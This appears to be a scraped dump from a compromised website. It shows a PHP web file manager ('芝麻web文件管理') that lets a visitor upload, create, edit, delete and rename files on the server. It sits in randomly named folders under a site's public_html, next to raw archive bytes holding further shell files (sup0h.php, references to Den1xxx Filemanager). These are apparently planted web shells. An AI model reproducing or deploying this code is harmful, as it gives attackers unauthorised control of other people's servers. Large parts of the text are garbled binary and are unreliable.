芝麻web文件管理V1.00

编辑当前文件:/home/gettoplisting/public_html/dd7e5a-20251107115653/erk72g/erk72g.zip

"; echo ""; echo "
"; } function handleDeleteFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo ""; } } function handleRenameFile($filePath) { if (!empty($_POST['newName'])) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName']; if (rename($filePath, $newPath)) { echo ""; } else { echo ""; } } else { echo "
"; echo ""; echo ""; echo "
"; } } function displayDirectory($directory) { $files = array_diff(scandir($directory), array('.', '..')); echo "

目录内容:'$directory'

"; } function getFileStatus($path) { if (is_writable($path) && is_readable($path)) { return "border-left: 4px solid green;"; } elseif (!is_writable($path)) { return "border-left: 4px solid red;"; } elseif (is_readable($path)) { return "border-left: 4px solid white;"; } return ""; } function generateFileActions($directory, $file) { $root = urlencode($_GET['root'] ?? __DIR__); return "编辑 | 删除 | 重命名"; } function handleFileActions($filePath) { if (isset($_GET['action'])) { switch ($_GET['action']) { case 'edit': handleEditFile($filePath); break; case 'delete': handleDeleteFile($filePath); break; case 'rename': handleRenameFile($filePath); break; } } } echo "文件管理器 "; echo "

当前目录: $currentDir

"; echo "

返回上级目录 | 回到原目录

"; if (isset($_GET['action'])) { $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file']; handleFileActions($filePath); } displayDirectory($currentDir); echo "
"; // 上传文件 echo "
"; echo "

上传文件(最多4个)

"; for ($i = 0; $i < 4; $i++) { echo "
"; } echo "
"; echo "
"; echo "
"; // 合并创建目录和文件 echo "
"; echo "

创建目录 & 创建文件

"; echo "

"; echo "

"; echo "

"; echo ""; echo "
"; echo "
"; echo "
"; // container 结束 if ($_SERVER['REQUEST_METHOD'] === 'POST') { handleUpload($currentDir); handleCreateFolder($currentDir); handleCreateFile($currentDir); } echo ""; echo ""; ?> PKz&e[Amqq a6z8x5.tar.gznu[]O0W+C !V`6@WH^j<{xrh|Q ѱLrrUÞޘƉ}!=Z,4@1Uh&+5Ъ$@w7xAh<{q(nؽq@E`g/؁!rr^QzU&A(32m+OǣI &ŸJ}~)O4DѾ̿lYt1y C>tjjԚE1E 2ҬzB&IU-ӭ]$~eFFFFg-~| PKz&e[ 44 bs6zmp.tar.gznu[ѱN0Εxc8 :A""7&A쳨xzLU1-οuw2ZklL;;BX"R>'y\4~ƙyG҆zNCM'Y)x޾f'iu`+Z6PFW2f{whOQmv:>lR-p([ ^%e5@̈YC v<::e.EG1.z 30+Ql;UGbMS`&n؍`4^#|9L&sMg8PKz&e[xT 2xmzkg.tarnu[index.php000064400000000151151026170260006361 0ustar00PKz&e[+ index.php.tarnu[home/gettoplisting/public_html/dd7e5a/erk72g/index.php000064400000000147151027242130016663 0ustar00PKz&e[Mg8 bs6zmp.tarnu[error_log000064400000000430151026170330006454 0ustar00[27-Oct-2025 03:45:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/bs6zmp/809u7.php on line 109 PKz&e[ô 0mdyke.zipnu[PKt&e[Dksnn index.phpnu[PKt&e[Dksnn index.phpnu[PKIPKz&e[$ h6snx5.tarnu[sup0h.php000064400000232747151026170430006332 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> sup0h.php.php.tar.gz000064400000060672151030046470010321 0ustar00ْȒ(v_PTL6JS\ڀ\8Fe#5TѲX<,_^^3>l9 -M!k@ʜ7Wα%x m ?u@ȣ! uxD[0*ƣ0W/ʰANpv Wp 7ㆩpc4oJ~iR`_VUu4 `zNcx)^4{՜0413ԕ^rP"$',^GS[Pu L /)^G׀EsG1Lz7$҈ZER*~ɑ;|%w9YCE }wT|xP<9E.'/9Ne蟱YϝӦb]/\k>;!|b")rn|?ej c_9Yv3>x DHK`iu,HXpą"B Mr/bUN@.p1ht<`,c-]w8KrP*T$vQ"RPȸ6W|3}ƒ4 0r.bN&y筗L>J&R¹iEE IrP"bt[,^1&'Ҁgc\b )t+,ˋi5y8)WdG]uZ] kD+L+g%?D¤5a`0+?v`׀M`ApЀ 4`/RXv`K+0p[KV]Ӣd6JV56l@Ru8-?NnS6 eQ=9NS1q3 5v!қ"~7ބӛteEj7s RDzjY{J{xGYy- eHB[4b3KnD fgS*<aZ)(E%~KK `8E-p_EhqB+,3vp8!Bkoa&Վ'im/hi/JB9F]z-/w)59THv6mx#ըpccs*t-fPi.M>2.MS3Hڢgl]Ĩ0M5r)USϔYoUe8MC4X;L:P/6w f0[%-h.;o~9v=m Z^N R뱼% ,/PNlØ;^q@@a,L4 EiS$HOFA"6H i :T" 5n$.@I=lg0S5&/罐jgS㴵z{T}ZӇ;y V\rd GQN'+I4 U$@QEˆvE>&`Ի S)eҿ٪(Oͺp794x~;py^~Dknn{XݍH_C5D4>mYܺ懟d:·b|OuMd 4֤q PY X>h13ۜkh&Ʉ]7F2@{$S LDٍ=uٺ EɀޒYjAՔݘP.A=Ҽg|`g-xcc:}%NS"J 1ƜFiDSbט^ךt{I>Sv8nL#L~t|B5s&IhX7H>!m=?{Lrs=B[e,+ZEt 8:kK:?@c0.@sHtzɩ{9oQK>=)% cbmc:gNzX4]7.Tt0 ^ʣ 0ؤqH0hS:Ywes!%;5>hWiiOI.KfzpL%G cR[#"<O<+w^ho+ʻƷw7ǎ[Ȓ*#= @ՑW KŒ9D"T5GL@$vO8/:o4[u_aĢ`H['iI*r%((7mOoȦ`H4C"?u;!I̓ڜitQꚌ_R~ Js\'I\PLZ/#դfA'/`CmTkL1䞋V:lQm,UKr #<0LR[0LQ\*;~d,DGw|$P5ZLҪtRvr;T$2hGd2#s3~H31M b6/=b8гKi̝Hm;(ң1\Y '3bH˄=m^j/ LOJ+談EPֳXE ?]?)m7Ұ9gw<7:u!"GH]un= ꧋Z$0LNXNYʈpt FetLC+C"ꤊ:_W( hNl#DciD t['R/iү>NŽI.q`N;u5bPZq}rb$C1H㴠@ߟqQ7܏Ή GKZ3,{߮A`lԜsHxaHh4si P# Ppdc cirC{Gv^m<,Hd}@#87_+ˁ6N'KirG+t_*LSi=5UϤW.-xHFV;Jbe-E(qҨ<;%ՙ̢?Z<(6mhp(-COϹ`6Ze`^hmꪳq1 W(/m`k"Df5o.(SvwC|՜aan kC7^JGt*RCE_nS=On[^DDecqYxj)4.X`@7p",G ̞lkS?"C]MFX1ŲV?8 =uR%ߎ(8z;ra~\a=PqҔzS1g-(۲a8ZyƃdJ fG zFmY sC]==N+apV.Q~AÓgNG%Wca9aii]6=v$}Zi)*O*!sc.$.AwXfPKVKO~;F[FR}2]xe3IUAMxl醸FᭆLbxdPֹThtta~7lbU\o'_zֳVUK&.)mY.n]nٜstzaRv.9I_Єzm;fe%y-i_{c3}XӸo]N> Fqϱΐtѭ#dCWgJ: _r+44sY)p4Qn9. 6yj_ux7_ g'JBd}%x]/1]@ *ߧ<f_}N~,3 I'_/;K#m׽3g@0wAƽUE[ߏ 3 0UPY0`!J༂h yA!~f&G7>y@p!j2XeD+ x@*=[WT9Ilo fg@GR/{OCO1EWD?5.Oob5IxBG M Ֆ"r</, ;G/T1*1qi̴6G/덁פ5+@6a 5J7ALkT1q0p)=9t`z}`!lkVi=c.:} ''}4Y j`BHZH'C;VC1ۅ@8g&l%gL)9dD̑&i'*-u˞R-n*Fu?3GD`A*~0:q4Qҋ\$d%xcsZ0 e:Ҹra >Ybg`y<8m欔`+ٽ0Hf~Kb-8M[ޥ u3SbCYocfL.lFW!19it9c4B9 u>#F%s,1M{ (gJOx+b*yBAqșPO+$˕\_nt5n{̇#S_ ^0 Qcaj<7_D8e%km|w0CF`w0ԥ/ #mCyn!tuE)rp s^h 3a}r1I9Aht *>0` ~G%+r LasY}]fD:X:$q5ٕZ қS跖'@͏;XnPߢ-s(҅f8c֒͆c_beaT%tZd֒2Gu G m8;$"iA:ar/)Tzur&7x+m%ڙcB4-hu]]6cboqwc l_-GoٴE{\ ڊzNVCKUa-$X2I41T3UzխF0b %kN6(15^&L?p` -b-c$[BH젞=[3!=)ˎكҞM2 !ӈi @Ѡ$Ɋ\0jrh~2KYl>FL4dgZփ wˮwHZFxAq3Dp,KM "bz/;Hqe$VGF?4"(<w츸 r3/@4.Mf / GC'/1'<'ƣ8?f"~~ rߑ4w :In蔡4c 5 |dmF\!t Ʋf/.U_pM]D~r}ۯq/m% KlW42D)/lz\? N?a({c`ӳ,|1yДtRtLySBKVSXb$'ڱ3qaxߌ oߍo}<$\ 6'Hp7[r6B:GvSE%Ɨ۩ 3d-N`o8HE68XP8jsP`NΊz߮g?kzf~IeL L3mDTT{| _9_y0{f~=V4I? ̦}pxa4Z4xh6 b֢EX6cEB y\NW Qş8  ;F._Ì@ݎEnSA}#qYҴ~MLgF^+B"h^72L:L %:ǜe0~qXU[an5qX!W;~׽؍ygSpol=sȃPjlWŇ~/v*0NEk, mfXH9mӞcFfoUMyDy=5v&BZə|'fr)ϋ\:V Ϡ*ϵ5#a;NeRn3[iTzULvo|}]/JT.%m>S*E5|婜IeS&?[vU_T/K ykZST.K [@yEJB g|JKR3hQ遘uR\m{ST~Ķm*X4H2Rc'/ʙP)[ͥTjBL1^Sf-a<\s dx1(z2.=a0?v`8]S뭴Zt%N-L#xLZ W5V`VkQ%^`Bo]De yX{3CANrZcWE16iϓd4}X)*q<\w:/K ФvYE&1kqճ}Z=uMGm-݇V*RRlhR dDYOJa=zeURCQʤKJ:]`[BJOΰIEndZ4,IgP8 R#46\jTyJ7" ggm]N3tOg>5i 8&E9\iT1}ҍFqnTړ][^Na\L '4+`f_;Xط[vɮI 7 dS?w 9ޕ7RjmPUpR qO=>n^P NdD+},'(6K^ܳmI9ir#qkD!SFce;N}ʭ ެrVy Z712jǂi=suWʹ<%_XӇE1e_|K|+O}Ւ}L V)mujN%1Wm#>;\kkAYIp SM,m=^LLvftVa1yjӇ؈TDٯn M2vT*BjPJ?wrxPUNg҄e<(e:JW<;EY$yVu-jGOv_Vj˃@]>Dlo^+O["&jmzL𩯆&jVV~`z=*.XR= j"CMݟ‘&T*P6%,D{Vywvj=4KZc+q<"` HI=e93zj ↥_"DW\=ZnKhOR"hG1BgK@톢KO v;Oka:ZA>+z3pXrq9)ڽڬ Op0T 㤷@◕rl ׋.z:pJ`9,]P~lZ0yYVBp]<ӎr^~N8P::l,cbu*֗NS`WϽ^k`pKHmmZ Vؖ!+uԝy>幇v/wܲ<-e?*NֶHViq\ljF2G(V(saiUyՌ=|תj72yymFÊ/bV^9wg׍}G.V+Ng}5;yYu1;A=R)Ć^[+FbY-~)˝ԭr GnǏRxΗnz`i괢cſe҉r9Jtu2n~oO` L zUAj|oQRA>290 fxǦmrnQ~ V{.•hώ] $σrd\)UֱI*[+ >7~JQzڭNlXţjTjT^s"`BƚcD97l@VhWvO㼆0Nu,mjlj֓V(Q\SɄ=lZ}#xRx*A)9ŧTgz.>Y,XC}U/V#YcjbلGI'v-2.ͮfٸڬhO9{|~9^g5Q M#J-\Wߩb) ͉=G/f 4Uw$TnCzGBvKl~,ǝX[7TbEEw3Y.‰q$=R"ָj&+gdA{lFyt]=e no]on~uoG;A+)v jwZlwNuV=-$'BϣSK{5q1R[%:T%X"H.V'nQ6i v"WD^5THII4©\;c8pegZ6A!7v&ť\T+E y&Z.3Si11Uz\+4o/YZS(osDM㧎q`HÄ͇Cp"<"x\H/rC_-BotwnxivꕂGuyW*xyl%).ǨT¬Tq1źZCCd* zh26EyzH=h[ڏ}诶9J@dQ̎tDL2fN廩}!狝<ܗ#Graݳ'>J 'ӾdC)yN>aqEm*?/:1>Ag>rN".UUad=@( 'H1Ճ܋! GA J{[UA~VzH[FRge:*B8(B(Sl(FSҡNsQLWv l}kDeG3[Pw^??Ƭ`lcJ_fC\e bW=ʓetx4mDy>EĮ뛐t" F8H*5=Oi.>nֳ:Ń P"l&P.=*ԗRոzh*RuYxyf-<)G}">ć?b()eX~أDAO\ee94 vn`\pl<5"AA$ *Pn=(jʴRt&ҝ@Ikf@Z"[|lNNstDX6ӜWR$)W*̞X&X`+@L4YG/466gC5`~߯BB7ӏ ;bۈ X+ۥ|e(uZ]?=턅AIM+ru;?L&cO/U$R&\/!{*J>eПz&i+Mp|Zpl>y/i1 gHNLh3L ֭@W! %P/frΔ94zj JB*4k B 5-aYC\a ~?xX׳.V6u%-!H+Y^:ȩҁib}!Q1_K5۝jŤaGǨC%O޵vē6/wnlޱxQh_ d3=pX9Vڙo8UꞐU[I 8{~qf=WJB^WYU2!J^p}L^Eut|ZN?tM.]~/Hh;5)r9W]O[Rs4V#>|BrtBPD["J)Iqn1hBB ;N=F 1Z ]A"0z`0PgÈ Paf݅:!sOCGAp$[SPG5wL ֯YY< ^N ھ%PRjkQPp;4C>pcA -7[VK.{2x\t_[%ɝjKTJFmܹ򮠆f Kzo=4CnYJcRSqO߳qF ]J~<3[P /<m(YQD߉YF|ѲLYA$v y. ۏEPއQ4WYuKhא5v1l^H]WNIz$.z}3/e{p+X;t{mIǺ)E|*}{kJTWFM.Oߐߖ)G=eAo l#鞡 2j idP P#hg,KQl2E5adw}qʛ /?;=nf1ӽC47xp! X%͚*ţ SҢf2eŠ?al'[e nºpCuC{ACfCN*4ZSqs×7,+إ-H8ZQ 5 BF09$ڈk,\hЃ=%5k]2>rM>5msɖ&L4ATS Gǔ X HIlP!""dao'/qg#f8qu ˼:i H|M\ %)w`" {7jǍXKdCcJ 46n'A^*- uNn$'/z>B+\!S7X9}э{RTs,̀/Ώw tm(k l4=%|z4N" ʓnE[i2=z, c8$J*fWeO^+L<4| Gb0A9<.(_ P,`?I^w!tlN_YѮ#LK#`|;^Ͻ hH'q3ց9`'-8jw2C^pTJ㝞$'C 9d%<̀Mxtoӧ3KՍk yY6p0Abɐ8!Bup\0Bl!̱0c.JFX߉d6@HI$Rh a@*38ǩrYր&wa^rhIhcP@^^!cW,Zn@ 0[0B:H/Wx2ߊ5p5hqdƟ2N5ig׮sڈƏO{C`qhȗ(hD|10s=:147;tAt9쥹 G9Cp:ٞ|c>ƑL%cY̨߰I8z|M4Ux_Ϥ~D"S{ x/rN3FѸ{pqhSo| 6s:pk_q}d29U$$!xcP%"[]:BK~:K>ewvȀ | P˗SnT[ؓ*ck~"+L_dٸjrw+ !r9/bکsJE< 0:仓#zr~eSәig\lb}3H:{ao bNY[g:=^&(˂^Daa|zTmTQG8qYZւ8+"OO)ö]ڬ@l*!sL2 AiM g|#_#zCʁJ^vW$c~r~DAq=N>n~M|i/w8MW|vBu}6&wO:\Lu,8i p)"X4;#Z_Z ,k~o,hX*m0_ʃҗ{mئ_% OhН:LpՌ=ի_d 7ϲX\" 2-2o\[;(pΗF.~D>sx7JNoReV IzvuY6Jܛ,y1ǒ9ZЦI. faKm鲺Ɲ= E%F{k6;5NL߫*ac .{b} KG#)0A{ +NCh9 sJX"oBhDŽyn?l>e>ހC8mė>)ihk'7NԊn~rP\NZdH #[{vЭZW#pe?%k;J?IŧMza6!1o׵+9ۚݦ F^ ZߙGO%uҼ<屣iy."W)pB' M_gzY{ F8o?dkQa@ Jbnتq_ I|iB;F~̐{ |g,[Tc_ѿT~4>㿳3>^8rH :"qK<[Ȓ7?, yA|V}d9^([ 4B}呖qqr/Fu͵h_J9ާ`N/2Dk|^gy|q/2tNjlWY>B!;UkCN#H OjxzvK&V_ Vv@I˨XcQOoW۬=.>'C5<8OSyb)8Q,wfa9>LCJߛu gq`ePh5%w|Li:C3/R#mQ&,50!U"N|C2dG3O&s|qR 5Ö%3DA⋩0.RS_$c_aH"9L/ inua0`^0@;^'$>mONa Vm8AoBAVFևeQEBLQj.~q.zV DBM~/4d<" ç}5U&dNxQUxn'4bw Hڳ?"Ge~t.Z90/ br#:;>CR8-4s `l-)KJ2Bjl'aCdZ{[| k/EK,@]MvE!~}7Z20C!"JG>$ +䗓n=7('?&DjXwk%NLNH`DsUwc|Gߟ8FKY|$V_o0-?=cS{s[uFz%^t[pE;M@U' pu9z7p+ܪ /}Agy}1fÇSоxhҺAp<>,[=筮%j  id҇PAk$umpt;IEeʠ,u%>pӯ+ H #dsCT~TkFt{}n0TŅ$/W7G0 . p{yAypw }~P^"0GfCdh;1=]e!\yƙ{f$DT(`8!buw ҃w̐GǏLݹ.KM SD + ₇)J6o@"3m0A7NIPd(I@P-?jqE֓FRHOIAVH i! I27rOQY#DA`@((sϬ(A%dZQRZC~y3qE/㯤  HQB(&gW$WO6Z$)T!йO0U1lɘ/fϥrY %׊}KBA2(rҁPUS~7X"Qv[y<DG~50 7n}ېOV&l6r#GR6:ps- rLGsҕ@v4 R*cI?4 $e ++(Hҡb ul3}b-D-7 mQN%qMX_CmjmL[2hNcdu0[$$O>& 5!R2_>~A8Ҩ'Kirfb$"Z$>(~A:odftF2nS/rɇ̈gK cN\3%n#L8MV|55A#tg\f!r]ur<59Aڼǒ%31}0{ >Ŷߔ͗@ecgj/ڝ+ԩKuWf/!:zg tDS8su0HLwA|4{gfFF# v"x֐"/K*dn}PÅ ?a{C}6[޺:q+8n-RwlHȪ-QP  # epXQ:H~A(4#:|:2'n.t]L`^Ovq1~ʩzVA 3f仙kR 2F, ?@["Gv3:6n}66pgyƠfu2oGt{3̼X:ݺm: " ;ej\nL '4 s&rm"@++ t"HjATtq_D M{~i}{7|=XǼ uY(e"/EL Gc\ST Zrù!X%iL-t8 x.KmKwj;{g; &zcR=//s-naK3d۪ό.T,rMzgSvuZչfSS<`ߤ\ϲL= <-1\]TPG/^{e9urcja^fG׫^:-۪uWm_0݃*YdOZ34xiN_&>Nc0K/c.Ǔ0/ؗ` d3zN9,ɿ- ƊMN]+"E4rU#c%--%qY~:ya;w읦kӶά7 Cd|,n*XJdָepZt J7 /[t:bwWnKKaƻ4nI@F#Wmg"xnݓHǤmPXj$#mi|-|fIJPqQ_ |'W޷SǍ|?Qi.j֔meH4H{YvXϥnQs'l&\&+ؗ먎(KK=~`l%L 9psn0cs^rku=Yأo͘[.y]״/#M7.XiA }PH_|VdXn13QX+(0Xb]R@=ZXkstRffR(=77zW.3.ST'a]mҐ` %= \@w7?nr9},u͟ Cm˝F {1A}0Pɝsv7BoEfNY0EnB ܿ MQF”Y[atb&(ʲb'.XH2a>2MA̠姄3Ʃ.|KA)0c9u$~OԢ2Z=5-X<~τ{) HңEFkY؀bIbMeWEHr\ھ X =텾 ;J.潃F$,K  NضQs=WP}6mxnz X8Ӟ!6(_s}U~ @z1H7ikF'tG2GmL[g8wi^_=JƸ@;KSon^MV}sE^]Ye4Yn`ů wPrώ2ه2@IT: 